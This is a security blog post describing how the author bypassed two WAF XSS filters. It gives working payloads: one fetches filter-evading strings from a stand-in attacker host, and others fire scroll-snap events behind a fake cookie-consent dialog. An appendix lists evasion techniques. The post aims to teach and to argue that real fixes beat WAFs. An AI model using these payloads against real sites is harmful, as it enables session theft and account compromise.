Bypassing XSS filters
Published:
Updated:
In this post, I am describing some payloads which I used to bypass two distinct XSS filter implementations (such as Web Application Firewalls (WAF)) as well as the approach to design them.
If needed, you might want to look at the super quick XSS primer in the appendix.
Table of content
Take away message
There are two points I am attempting to make with this post.
First, give some ideas of techniques which could be used to bypass XSS filters (see below for more references on this). This is useful if you actually want to demonstrate (convince people) that a XSS is actually really exploitable even if there is some XSS filtering in place.
Second, illustrate that you should not try to fix an (injection) vulnerability in your application merely by adding a WAF (or another similar technology) in front of it and then forget about it. Please do not do this! You must fix the actual freaking vulnerability instead of trying to bandage 🩹 it with a WAF. You can add a WAF as a second layer of protection if you wish but by all means, fix the underlying vulnerability.
Do not “fix” vulnerabilities by merely adding a WAF. You have to fix the underlying vulnerability.
Why is this important?
- The attacker can find a way to bypass the filters implemented by your WAF (as demonstrated in this post).
- The attacker can find a way to make the request directly to the backend server without going through the WAF (eg. through SSRF).
- The malicious payload could for be injected through other channels (that the WAF won't see) such as through emails, LDAP, etc.
- The malicious payload could be embedded in some encoded token that the WAF will not see (eg. payload encoded in base64 in a JWT).
Problem statement
A (not so long) time ago,
there used to be some website which had a reflected XSS vulnerability
(let's say https://www1.example.com/?q=XSS_HERE
)
and I wanted to exploit it
(in order to have a proof-of-concept).
I bravely tried classic and simple payloads such as either of these[1]:
<script>alert(window.location)</script>
<img src='#' onerror="alert(window.location)" />
However, there was a XSS filter (implemented by a WAF) which would reject any request containing such a pattern.
Of course other typical patterns[2] were rejected as well such as:
<button onclick="alert(window.location)">Hello</button>
<button onmouseover="alert(window.location)">Hello</button>
<form onsubmit="alert(window.location)"><button type="submit">Hello</button></form>
Moreover, the XSS filter would reject many interesting JavaScript patterns and attempts to ofuscate the payload such as:
alert(...);
e.innerHTML=...;
e["innerHTML"]=...;
e["i"+"n"+"n"+"e"+"r"+"H"+"T"+"M"+"L"]=...;
So there was two things to do in order to be able to execute arbitrary code:
- find a way to obfuscate the malicious code so that it would not be rejected by the WAF;
- find a trigger for the JavaScript which would not be rejeted by the WAF.
Payloads
Payload 1
I had two defenses to bypass in order to execute interesting code:
- First, the HTML XSS filters.
I first had to find a HTML pattern which would be accepted.
Well-known event handlers (
onerror
,onclick
, etc.) were rejected so I could either try to find a way to trick the XSS filters or try to find an event handler which was not recognized by the XSS filter. - Second the JavaScript XSS filter. I needed to be able to use interesting JavaScript code which would not blocked.
I found that onbeforeinput
was not rejected
and
I came up with this voncoluted URL which would bypass the XSS filter:
https://www1.example.com/?q=<input autofocus onbeforeinput='(async()=>{this.parentElement[await (await fetch("https://attacker.example.com/a.txt")).text()]=(await (await fetch("https://attacker.example.com/b.txt")).text())})();'>
This injects the following stage-1 HTML snippet:
<input autofocus
onbeforeinput='(async()=>{this.parentElement[await (await fetch("https://attacker.example.com/a.txt")).text()]=(await (await fetch("https://attacker.example.com/b.txt")).text())})();'>
Note that the JavaScript code is executed only if the user actually enters something in the <input>
in this case.
The stage-1 JavaScript payload is:
(async()=>{
this.parentElement[await (await fetch("https://attacker.example.com/a.txt")).text()]
=(await (await fetch("https://attacker.example.com/b.txt")).text())
})()
In this case, the JavaScript filter is bypassed by dynamically loading some strings from a remote server:
https://attacker.example.com/a.txt
resolves toinnerHTML
;https://attacker.example.com/b.txt
resolves to some stage-2 HTML payload ("<img src=invalid:// onerror=alert(window.location)>"
).
The stage-2 HTML payload is not seen by the WAF and we can therefore now execute arbitrary JavaScript code.
The stage-1 JavaScript payload produces the same effect as:
this.parentElement.innerHTML = "<img src=invalid:// onerror=alert(window.location)>";
This injects the following stage-2 HTML payload:
<img src=invalid:// onerror=alert(window.location)>
This executes the stage-22 JavaScript code:
alert(window.location)
Payload 2
I tried to apply this payload to a second application
which had a XSS vulnerability as well
(le'ts say https://www2.example.com/?q=XSS_HERE
).
The previous payload did not work because this the application
was protected by an additional second layer of XSS protection[3].
In order to exploit the XSS vulnerability,
I had to bypass two different unrelated sets of XSS filters.
This time, the onbeforeinput
event handler was filtered as well
by the second program.
I ended up using the
scrollsnapchanging
event
which is triggered when some scroll snap is happening.
Note: compatibilty
The scrollsnapchanging
event is currently not
supported
by Firefox.
This attacker currently does not work with Firefox.
I ended up with this URL:
https://www2.example.com/?q=%3Cdiv%20style=font-size:1.5rem;color:black;background-color:white;border-color:black;border-style:solid;border-width:5px;height:200px;width:400px;overflow-y:scroll;scroll-snap-type:y;%20data-x=innerHTML%20data-y=PGltZyBzcmM9ImludmFsaWQ6Ly8iIG9uZXJyb3I9ImFsZXJ0KHdpbmRvdy5sb2NhdGlvbikiPg==%20onscrollsnapchanging=this[this.dataset.x]=atob(this.dataset.y);%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3ECookie%20selection.%3C/div%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3EPlease%20tell%20us%20your%20choice%20about%20cookies%20below.%3C/div%3E%3Cdiv%20id=auto-xss-trigger%20style=height:100px;scroll-snap-align:center;%3EAccept%20Deny%3C/div%3E%3C/div%3E#auto-xss-trigger
Which generates the following stage-1 HTML:
<div style="font-size:1.5rem;
color:black;
background-color:white;
border-color:black;
border-style:solid;
border-width:5px;
height:200px;
width:400px;
overflow-y:scroll;
scroll-snap-type:y;"
data-x="innerHTML"
data-y="PGltZyBzcmM9ImludmFsaWQ6Ly8iIG9uZXJyb3I9ImFsZXJ0KHdpbmRvdy5sb2NhdGlvbikiPg=="
onscrollsnapchanging="this[this.dataset.x]=atob(this.dataset.y);">
<div style="height:100px;scroll-snap-align:center;">Cookie selection.</div>
<div style="height:100px;scroll-snap-align:center;">Please tell us your choice about cookies below.</div>
<div id=auto-xss-trigger style="height:100px;scroll-snap-align:center;">Accept Deny</div>
</div>
Note: user interaction required
The scrollsnapchanging
event is triggered when the
element is scrolled.
It would therefore appear
that some user interaction is required
in order to trigger the malicious JavaScript code.
By carefully designing the injected HTML, you can elicit the expected user action. As an example, I am including here a mockup of a fake “cookie consent dialog” 🍪. I would expect the user to be eager to interact with such a dialog to get rid of it as fast as possible. 😉
You can trigger the code without user interaction
by linking to an element in the scrolling area (...#auto-xss-trigger
).
The browser will automatically scroll
in order to reveal the referenced element:
this will trigger the scrollsnapchanging
event and the malicious code.
When the scrollsnapchanging
event is triggered,
the stage-1 JavaScript payload is executed:
this.parentElement[this.dataset.x]=atob(this.dataset.y);
where:
this.dataset.x
resolves to"innerHTML"
(because we havedata-x=innerHTML
)this.dataset.y
resolves to the stage-2 HTML payload (encoded in base64).
This injects the following stage-2 HTML payload:
<img src="invalid://" onerror="alert(window.location)">
This triggers the stage-2 JavaScript code:
alert(window.location)
Demo: payload triggered by scrolling (onscrollsnapchanging
)
An alternative payload which works even if you cannot control the fragment (useful in non-reflected XSS) is discussed xss-cheatsheet-data PR 76.
Payload 2 bis
A simpler version of the previous payload is:
https://www2.example.com/?q=%3Cdiv%20style=font-size:1.5rem;color:black;background-color:white;border-color:black;border-style:solid;border-width:5px;height:200px;width:400px;overflow-y:scroll;scroll-snap-type:y;%20data-x=eval%20data-y=YWxlcnQod2luZG93LmxvY2F0aW9uKQ==%20onscrollsnapchanging=window[this.dataset.x](atob(this.dataset.y));%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3ECookie%20selection.%3C/div%3E%3Cdiv%20style=height:100px;scroll-snap-align:center;%3EPlease%20tell%20us%20your%20choice%20about%20cookies%20below.%3C/div%3E%3Cdiv%20id=auto-xss-trigger2%20style=height:100px;scroll-snap-align:center;%3EAccept%20Deny%3C/div%3E%3C/div%3E#auto-xss-trigger2
This generates the following stage-1 HTML:
<div style="font-size:1.5rem;
color:black;
background-color:white;
border-color:black;
border-style:solid;
border-width:5px;
height:200px;
width:400px;
overflow-y:scroll;
scroll-snap-type:y;"
data-x="eval"
data-y="YWxlcnQod2luZG93LmxvY2F0aW9uKQ=="
onscrollsnapchanging=window[this.dataset.x](atob(this.dataset.y));
>
<div style="height:100px;scroll-snap-align:center;">Cookie selection.</div>
<div style=height:100px;scroll-snap-align:center;>Please tell us your choice about cookie below.</div>
<div id=auto-xss-trigger2 style=height:100px;scroll-snap-align:center;>Accept Deny</div>
</div>
This executes the following stage-1 JavaScript:
window[this.dataset.x](atob(this.dataset.y));
where:
this.dataset.x
resolves toeval
(because we havedata-x=eval
)this.dataset.y
resolves to the stage-2 JavaScript paylaod encoded in base64.
The eval()
call executes the follow stage-2 JavaScript payload:
alert(window.location);
Compared to the previous version, we avoid the stage-2 HTML by
using eval(...)
.
Demo: payload triggered by scrolling (onscrollsnapchanging
)
Appendix, XSS in a nutshell
Reflected XSS
A reflected XSS attack works as follows:
- a malicious payload is included in the HTTP request;
- it is reflected in the HTTP response (eg. in HTML);
- this malicious payload in the HTTP response triggers the execution of attacker-chosen JavaScript code in the user's browser (in the context of the application).
Usually the malicious payload is included as a parameter of the query string
(/foo?q=PAYLOAD
)
or in the URI path component (/user/PAYLOAD/
).
The attacker has to find a way to trick the user's browser into
generating this malicious request:
this can be done
through a malicious redirection,
by sending a malicious link by email,
etc.
Stored XSS
A stored XSS attack works as follows:
- the attacker sends the malicious payload to the application;
- the application stores the malicious payload in database;
- the application reads the malicious payload from the database and includs it in some HTTP response (eg. in HTML);
- this triggers the execution of attacker-chosen JavaScript code in the user's browser (in the context of the application).
Appendix, XSS tips
See as well the invaluable PortSwigger XSS cheat sheet.
Interesting DOM events
These DOM events are promising because they are not used so much or are new and might not be rejected by XSS filters:
auxclick
beforeinput
beforematch
compositionend
,compositionstart
,compositionupdate
scrollsnapchange
,scrollsnapchanging
,scrollend
pointerrawupdate
lostpointercapture
,gotpointercapture
securitypolicyviolation
transitionstart
,transitionrun
,transitioncancel
fullscreenchange
,fullscreenerror
contentvisibilityautostatechange
formdata
(<formdata>
)encrypted
(<audio>
and<video>
)slotchange
(<slot>
)close
(<dialog>
)formdata
(<form>
)sort
(??)
Note: Chrome releases and XSS
An attacker might find it worthwhile to watch for
Chrome browser releases
which introduce new DOM events.
These are good times to exploit XSS vulnerabilities
using event handlers
which may not be rejected by existing XSS filters.
JavaScript payload
The following JavaScript patterns can be used to execute arbitrary JavaScript from strings:
eval(...);
setTimeout(..., 1);
setInterval(..., 1);
Function(...)()
Function(...).call()
Map.constructor(...)()
Map.constructor(...).call()
Function`...`()
The following JavaScript patterns can be used to inject arbitrary HTML from strings:
e.innerHTML=...;
document.write(...);
document.writeln(...);
The strings can be obfuscated using several methods such as:
fetch(...)
, for obtaining the string from a resource;e.dataset.foo
for obtaining the string fromdata-foo
DOM attribute;input.name
,input.value
,input.placeholder
form.target
img.alt
e.innerText
atob(...)
for decoding a base64-encoded payload (encoded withatob(...)
)Array.from(document.querySelectorAll("a.x")).join("")
for splitting a payload across several DOM elementsnew TextDecoder().decode(new Uint8Array(encoded.split(",")))
(encoded withnew TextEncoder().encode(...).join(",")
)new URLSearchParams(new URL(document.referrer).search.substring(1)).p
, for storing the payload a in a query string of the referer URL (https://attacker/?=p...
)
Scope of event handler content attributes
One interesting thing that I rediscovered
is that event handler content attributes (onclick=...
and such is)
have a weird scope
with, in order, of priority:
this
(the element);event
(the current event);- the properties of the element;
- the properties of the form owner (i.e., the
<form>
of the controle) if any; - the properties of the document;
- the global environment.
This can be useful if you are facing a WAF
which tries to prevent access to global objects (window
, document
, etc.):
<img src=x
title=YWxlcnQoMSk
alt=eval
aria-label=atob
aria-description=defaultView
onerror=ownerDocument[ariaDescription][alt](ownerDocument[ariaDescription][ariaLabel](title))
>
Some explanations:
ownerDocument
→this.ownerDocument
→document
ariaDescription
→this.ariaDescription
→"defaultView"
ariaLabel
→this.ariaLabel
→"atob"
alt
→this.alt
→"eval"
title
→this.title
→"YWxlcnQoMSk"
ownerDocument
→this.ownerDocument
→document
;ownerDocument[ariaDescription]
→this.ownerDocument.defaultView
→window
;ownerDocument[ariaDescription][alt]
→this.ownerDocument.defaultView.eval
→eval
;ownerDocument[ariaDescription][ariaLabel]
→this.ownerDocument.defaultView.atob
→atob
;onerror=ownerDocument[ariaDescription][alt](ownerDocument[ariaDescription][ariaLabel](title))
→eval(atob("YWxlcnQoMSk"))
, i.e.,eval("alert(1")
.
References
XSS Cheat Sheets:
- PortWigger XSS cheat sheet (see project on GitHub)
- OWASP XSS Filter Evasion Cheat Sheet
- OWASP Cross Site Scripting Prevention Cheat Sheet
- DOM based XSS Prevention Cheat Sheet¶
Ohter references:
- When WAFs Go Awry: Common Detection & Evasion Techniques for Web Application Firewalls
- Documenting the impossible: Unexploitable XSS labs
DOM events on MDN:
- GLobal attributes
Element
eventsHTMLFormElement
eventsHTMLInputElement
eventsHTMLMediaElement
eventsHTMLVideoElement
eventsHTMLSlotElement
eventsHTMLCanvasElement
eventsHTMLDialogElement
eventsSVGElement
events
These ones are nice because the work without any user interaction. ↩︎
These ones are not as nice because they are triggered by user interaction. ↩︎
There were two unrelated programs protecting the same application. For some payloads, you would see the error message from the first WAF and, when you managed to bypass this first WAF, you would have an error message from a second program. ↩︎